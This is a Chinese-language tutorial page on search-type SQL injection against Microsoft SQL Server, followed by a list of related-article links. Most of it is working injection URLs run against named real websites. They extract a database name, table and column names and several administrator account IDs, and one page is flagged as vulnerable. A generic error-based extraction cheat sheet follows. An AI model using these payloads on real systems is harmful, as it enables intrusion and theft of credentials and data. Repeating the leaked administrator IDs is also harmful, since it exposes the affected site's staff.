简单的判断搜索型注入漏洞存在不存在的办法是先搜索',如果出错,说明90%存在这个漏洞。然后搜索%,如果正常返回,说明95%有洞了。

然后再搜索一个关键字,比如2006吧,正常返回所有2006相关的信息,再搜索2006%'and 1=1 and '%'='和2006%'and 1=2 and '%'=',存在异同的话,就是100%有洞了。

我这里看出有上面说的洞后开始用nbsi来扫,结果总是超时,郁闷,看来要手工来暴需要的信息了。。。

http://www.2cto.com /product/list_search.aspx?search=Donic%'and user>0 and '%'=' //得到当前数据库账号

http://www.2cto.com /product/list_search.aspx?search=Donic%'and db_name()>0 and '%'=' //得到当前数据库名

http://www.2cto.com /product/list_search.aspx?search=Donic%'and (select count(*) from admin)>0 and '%'=' //返回错误页面,看来是没有admin这个表了

http://www.2cto.com /product/list_search.aspx?search=Donic%'and (select top 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0)>0 and '%'=' //得到当前数据库的第一个表名

http://www.2cto.com /product/list_search.aspx?search=Donic%'and (select top 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0 and name not in('codechange'))>0 and '%'=' //得到当前数据库的第二个表名

http://www.2cto.com /product/list_search.aspx?search=Donic%'and (select top 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0 and name not in('codechange','oldpoint'))>0 and '%'=' //得到当前数据库的第三个表名

<A href="http://www.2cto.com /product/list_search.aspx?search=Donic%%27and%20(select%20top%201%20name%20from%20lvhuana3.dbo.sysobjects%20where%20xtype=%27u%27%20and%20status%3E0%20and%20name%20not%20in(%27codechange%27,%27oldpoint%27,%27tbl_admin%27,%27tbl_afterservice%27,%27tbl_agent%27,%27tbl_bank%27,%27tbl_board%27,%27tbl_board2%27,%27tbl_brandbestLeft%27,%27tbl_brandbestRight%27,%27tbl_card%27,%27tbl_cart%27,%27tbl_catalogue%27,%27tbl_community%27,%27tbl_court%27,%27tbl_estimate%27,%27tbl_FAQ%27,%27tbl_mail_list%27,%27tbl_mem_add%27,%27tbl_mem_main%27,%27tbl_mem_out%27,%27tbl_mem_rboard%27,%27tbl_mileage%27,%27tbl_notice%27,%27tbl_ord_cash_receipt%27,%27tbl_ord_change%27%27tbl_ord_cs%27,%27tbl_ord_change%27,%27tbl_ord_cs%27,%27tbl_ord_main%27,%27tbl_ord_payment%27,%27tbl_ord_prd%27,%27tbl_ord_prd_return%27,%27tbl_ord_refund%27,%27tbl_ord_req_main%27,%27tbl_ord_req_prd%27,%27tbl_ord_request%27,%27tbl_ord_user%27,%27tbl_partition%27,%27tbl_prd_category%27,%27tbl_prd_click%27,%27tbl_prd_desc%27,%27tbl_prd_grade%27,%27tbl_prd_main%27,%27tbl_prd_model%27,%27tbl_recommand%27,%27tbl_saleshop%27,%27tbl_search%27,%27tbl_tax%27,%27tbl_zipcode%27,%27tempDesc%27,%27tempdesc2%27,%27tempmodel%27,%27tempPrdMain%27,%27tempPrdmodel%27,%27tempsize%27,%27tempstyle%27,%27tmpordprd%27,%27tmpordprd2%27,%27trace1%27))%3E0%20and%20%27%%27=%27" target=_blank>http://www.2cto.com /product/list_search.aspx?search=Donic%'and%20(select%20top%201%20name%20from%20lvhuana3.dbo.sysobjects%20where%20xtype='u'%20and%20status>0%20and%20name%20not%20in('codechange','oldpoint','tbl_admin','tbl_afterservice','tbl_agent','tbl_bank','tbl_board','tbl_board2','tbl_brandbestLeft','tbl_brandbestRight','tbl_card','tbl_cart','tbl_catalogue','tbl_community','tbl_court','tbl_estimate','tbl_FAQ','tbl_mail_list','tbl_mem_add','tbl_mem_main','tbl_mem_out','tbl_mem_rboard','tbl_mileage','tbl_notice','tbl_ord_cash_receipt','tbl_ord_change''tbl_ord_cs','tbl_ord_change','tbl_ord_cs','tbl_ord_main','tbl_ord_payment','tbl_ord_prd','tbl_ord_prd_return','tbl_ord_refund','tbl_ord_req_main','tbl_ord_req_prd','tbl_ord_request','tbl_ord_user','tbl_partition','tbl_prd_category','tbl_prd_click','tbl_prd_desc','tbl_prd_grade','tbl_prd_main','tbl_prd_model','tbl_recommand','tbl_saleshop','tbl_search','tbl_tax','tbl_zipcode','tempDesc','tempdesc2','tempmodel','tempPrdMain','tempPrdmodel','tempsize','tempstyle','tmpordprd','tmpordprd2','trace1'))>0%20and%20'%'=' //依次类推,得到所有的表

其实分析可以知道只有这个tbl_admin表才是最重要的。接着开始暴列名。

http://www.2cto.com /product/list_search.aspx?search=Donic%'and (select top 1 col_name(object_id ('tbl_admin'),1) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第一个列名c_employee_id

http://www.2cto.com /product/list_search.aspx?search=Donic%'and (select top 1 col_name(object_id ('tbl_admin'),2) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第二个列名c_employee_name

http://www.2cto.com /product/list_search.aspx?search=Donic%'and (select top 1 col_name(object_id ('tbl_admin'),3) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第三个列名c_password

http://www.2cto.com /product/list_search.aspx?search=Donic%'and (select top 1 col_name(object_id ('tbl_admin'),3) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第四个列名c_level列名暴完毕了,嘿嘿,接着开始暴管理员账号密码了。

http://www.2cto.com /product/list_search.aspx?search=Donic%'and (select top 1 c_employee_id from tbl_admin)>0 and '%'=' //得到第一个管理员的id为943hoon

http://www.2cto.com /product/list_search.aspx?search=Donic%'and (select c_employee_id from(select top 1 * from(select top 2 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第二个管理员的id为champ

http://www.2cto.com /product/list_search.aspx?search=Donic%'and (select c_employee_id from(select top 1 * from(select top 3 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第三个管理员的id为clark

http://www.2cto.com /product/list_search.aspx?search=Donic%'and (select c_employee_id from(select top 1 * from(select top 4 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第四个管理员的id为hskim

http://www.2cto.com /product/list_search.aspx?search=Donic%'and (select c_employee_id from(select top 1 * from(select top 4 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第五个管理员的id为jajeong

http://www.2cto.com /product/list_search.aspx?search=Donic%'and (select top 1 c_c_password from tbl_admin)>0 and '%'=' //这个语句是暴出管理员密码的,可惜直接返回了正常页面,郁闷。。。。

一会再想别的办法吧。。。。。

另外说下,2.3 的啊D支持搜索型的注入方式是:

一般网站的搜索都是部分匹配的

有漏洞的url是http://notebook.samsung.com.cn/news/news.aspx?page=1&type=product&ST=title&SC=

构造注入语句 三星%'and 1=1 and '%'='

      三星%'and 1=2 and '%'='

大家看到了吧 两个返回页面是不一样的 说明有注入的漏洞 特征字 写笔记本 就是三星%'and 1=1 and '%'=' 返回时有的

我们知道一般搜索代码是这么写的:

Select * from 表名where 字段like '%关键字%'

这样就造成了对关键字前后的所有匹配(%是用来全部匹配的)

这里如果关键字没有过滤的话,就可以这样来构造:

关键字='and [查询条件] and '%25'='

这样查询就变成

select * from 表名where 字段like '%' and 1=1 and '%'='%'

这样就很好的构成了一个sql注入点,当然用手工也可以,用nbsi也可以~~

注入是不分家的,没必要什么型什么型的!~

如果不信,大家请看下面的《sql注入天书》的原话

第一节、SQL注入的一般步骤

首先,判断环境,寻找注入点,判断数据库类型,这在入门篇已经讲过了。

其次,根据注入参数类型,在脑海中重构SQL语句的原貌,按参数类型主要分为下面三种:

(A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:

Select * from 表名where 字段=49

注入的参数为ID=49 And [查询条件],即是生成语句:

Select * from 表名where 字段=49 And [查询条件]

(B) Class=连续剧这类注入的参数是字符型,SQL语句原貌大致概如下:

Select * from 表名where 字段='连续剧'

注入的参数为Class=连续剧'and [查询条件] and ''=' ,即是生成语句:

Select * from 表名where 字段='连续剧'and [查询条件] and ''=''

(C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:

Select * from 表名where 字段like '%关键字%'

注入的参数为keyword='and [查询条件] and '%25'=',即是生成语句:

Select * from 表名where字段like '%'and [查询条件] and '%'='%'

当然手工是麻烦的

用工具的话,我建议用nbsi的工具比较好,就我感觉只有nbsi结合了这个技术,用别的软体是不能注入的

注入点只要写:

http://www.2cto.com /news/news.aspx?page=1&type=product&ST=title&SC=%

再加个特征字符就可以了\

Sql2008注入

实验用语句可以参考网上的SQL显错注入

环境: Microsoft SQL Server 2008 + IIS6.0 + Windows Server 2003[NT 5.2 Sp 2]

让我们来收集一下信息

#查看数据库版本

URL.aspx?id=0701' AND 1=convert(int,@@version) AND 'risk'='risk

#查看当前用户名

URL.aspx?id=0701' AND user>0 AND 'risk'='risk

#查看当前库名

URL.aspx?id=0701' AND db_name()>0 AND 'risk'='risk

我们已经收集到了数据库的类型,版本,还有当前运行的用户和数据库了.
接下来是爆数据库里的表,显错模式要比不显得方便很多,直接爆就可以了.

#爆表名

URL.aspx?id=0701' AND 1=convert(int,(SELECT TOP 1 NAME FROM SYSOBJECTS WHERE XTYPE='u')) AND 'risk'='risk

#或者

URL.aspx?id=0701' AND 1=convert(int,(SELECT TOP 1 NAME FROM [库名]..SYSOBJECTS WHERE XTYPE='u')) AND 'risk'='risk

#爆其他表名,一直往上累计就可以了,最后完成的时候会跳转到正常页面

URL.aspx?id=0701' AND 1=convert(int,(SELECT TOP 1 NAME FROM SYSOBJECTS WHERE XTYPE='u' AND NAME NOT IN ('表名'))) AND 'risk'='risk

#爆当前表列名

URL.aspx?id=0701' HAVING 1=1 AND 'risk'='risk

#或者

URL.aspx?id=0701' SELECT * FROM 表名 HAVING 1=1 AND 'risk'='risk

#爆内容,每次爆一列单条数据

URL.aspx?id=0701' AND 1=convert(int,(SELECT TOP 1 列名 FROM 表名)) AND 'risk'='risk

#爆其余数据,和爆表一样,手动,一次爆一条

URL.aspx?id=0701' AND 1=convert(int,(SELECT TOP 1 列名 FROM 表名 WHERE 列名 NOT IN ('数据内容'))) AND 'risk'='risk

把以上的综合一下就行

比如 :http://www.baidu.com/search.aspx?kw=Donic%'and 1=convert(int,(SELECT TOP 1 NAME FROM [库名]..SYSOBJECTS WHERE XTYPE='u')) and '%'='

http://www.baidu.com/search.aspx?kw=Donic%'and 1=convert(int,(SELECT TOP 1 NAME FROM SYSOBJECTS WHERE XTYPE='u' AND NAME NOT IN ('表名'))) and '%'='

Sqlserver2008+搜索型注入技术的更多相关文章

  1. 注入语句详解(get注入,cookie注入,搜索型注入等)

    注意:对于普通的get注入,如果是字符型,前加'   后加 and ''=' 拆半法 ###################################### and exists (select ...

  2. 数据库其他注入思路 - 万能密码 - cookie注入 -搜索型注入

    另类登录注入形式: 经常有一类验证(ASP,PHP,JSP均存在),先判断user是否存在,ASP为例子:"select password from admin where user_nam ...

  3. pikachu-搜索型注入 #手工注入

    1.搜索型注入漏洞产生的原因: 在搭建网站的时候为了方便用户搜索该网站中的资源,程序员在写网站脚本的时候加入了搜索功能,但是忽略了对搜索变量的过滤,造成了搜索型注入漏洞,又称文本框注入. 2.搜索型注 ...

  4. SQL注入技术专题—由浅入深【精华聚合】

    作者:坏蛋链接:https://zhuanlan.zhihu.com/p/23569276来源:知乎著作权归作者所有.商业转载请联系作者获得授权,非商业转载请注明出处. 不管用什么语言编写的Web应用 ...

  5. Oracle学习总结(6)—— SQL注入技术

    不管用什么语言编写的Web应用,它们都用一个共同点,具有交互性并且多数是数据库驱动.在网络中,数据库驱动的Web应用随处可见,由此而存在的SQL注入是影响企业运营且最具破坏性的漏洞之一. SQL注入基 ...

  6. 阿里云提示:对输入参数id未进行正确类型转义,导致整型注入的发生

    类似以下提示: XXX.php中,对输入参数id未进行正确类型转义,导致整型注入的发生 解决办法: 找到对应文件:$id = $_GET['id']; 增加以下标红过滤: $id = $_GET['i ...

  7. SQL注入技术专题—由浅入深【精华聚合贴】

    SQL注入技术专题—由浅入深[精华聚合贴] 不管用什么语言编写的Web应用,它们都用一个共同点,具有交互性并且多数是数据库驱动.在网络中,数据库驱动的Web应用随处可见,由此而存在的SQL注入是影响企 ...

  8. Android中通过进程注入技术改动广播接收器的优先级

    前言 这个周末又没有吊事,在家研究了怎样通过进程的注入技术改动广播接收器的优先级.关于这个应用场景是非常多的.并且也非常重要.所以就非常急的去fixed了. Android中的四大组件中有一个广播:B ...

  9. 对Unity注入技术最简单的理解和应用

    Unity注入技术,我决定最大的作用在于一个项目,尤其是WEB项目在更远其中一个类时,不需要重新生成,直接通过WEBCONFIG文件的修改就可以更改对应关系和功能,实验步骤如下: 1:新建一个接口IS ...

随机推荐

  1. hibernate 学习笔记1

    Hibernate session1 1.连接池的最小连接数指的是连接池初始化之后,就存在的连接数,这些连接放在内存中,等待被使用.最大连接数限定了连接池中最大同时连接数量,如果超过了这个数量,则进入 ...

  2. Game-Tech小游戏专场第二趴,这次帝都见

    欢迎大家前往腾讯云+社区,获取更多腾讯海量技术实践干货哦~ 本文由腾讯游戏云 发表于云+社区专栏 自从小游戏推出以来,凭借微信带来的巨大流量和变现能力,小游戏生态极速地建立了起来,短短半年多时间已经出 ...

  3. Firebird 日期时间

    查询当前时间: 1.使用内置系统变量 select current_timestamp from rdb$database 2.使用now字符串转换 select cast('NOW' as time ...

  4. C3P0数据库连接池的java实现

    1.配置准备 导入jar包 c3p0-0.9.2-pre1.jar mchange-commons-0.2.jar 数据库驱动包,如:mysql-connector-java-5.1.28-bin.j ...

  5. .net core 填坑记之二目录问题(获取当前目录、创建目录)

    1.获取应用程序运行当前目录Directory.GetCurrentDirectory(). System.IO命名空间中存在Directory类,提供了获取应用程序运行当前目录的静态方法GetCur ...

  6. jmeter单一接口测试

    在使用jmeter进行单一接口测试之前,我们先来了解一下一个用户请求的过程,如下: 1)用户通过浏览器发起一个请求: 2)用户收到服务器返回的响应数据. 如上,就是一个WEB的请求/响应模型 jmet ...

  7. python6

    集合-set    集合是高中数据中的一个概念.    确定的一堆无需数据,集合中的买个数据称为一个集合       集合的定义         1.创建空集合             变量 = se ...

  8. docker容器启动时执行脚本 run /bin/bash执行多条指令

    搜了很多资料发现并未解决,以下方法失败!求大神评论给出完美方案 1.首先需要编写需要启动的脚本,并将脚本放在 /etc/init.d/目录下 如:cs.sh 2.修改权限 3.chkconfig -- ...

  9. Effective C++ .14 智能指针的拷贝与deleter函数

    #include <iostream> #include <cstdlib> #include <memory> using namespace std; clas ...

  10. Grunt插件uglify

    Gruntfile.js里面配置: module.exports = function(grunt){ // 项目配置 grunt.initConfig({ pkg: grunt.file.readJ ...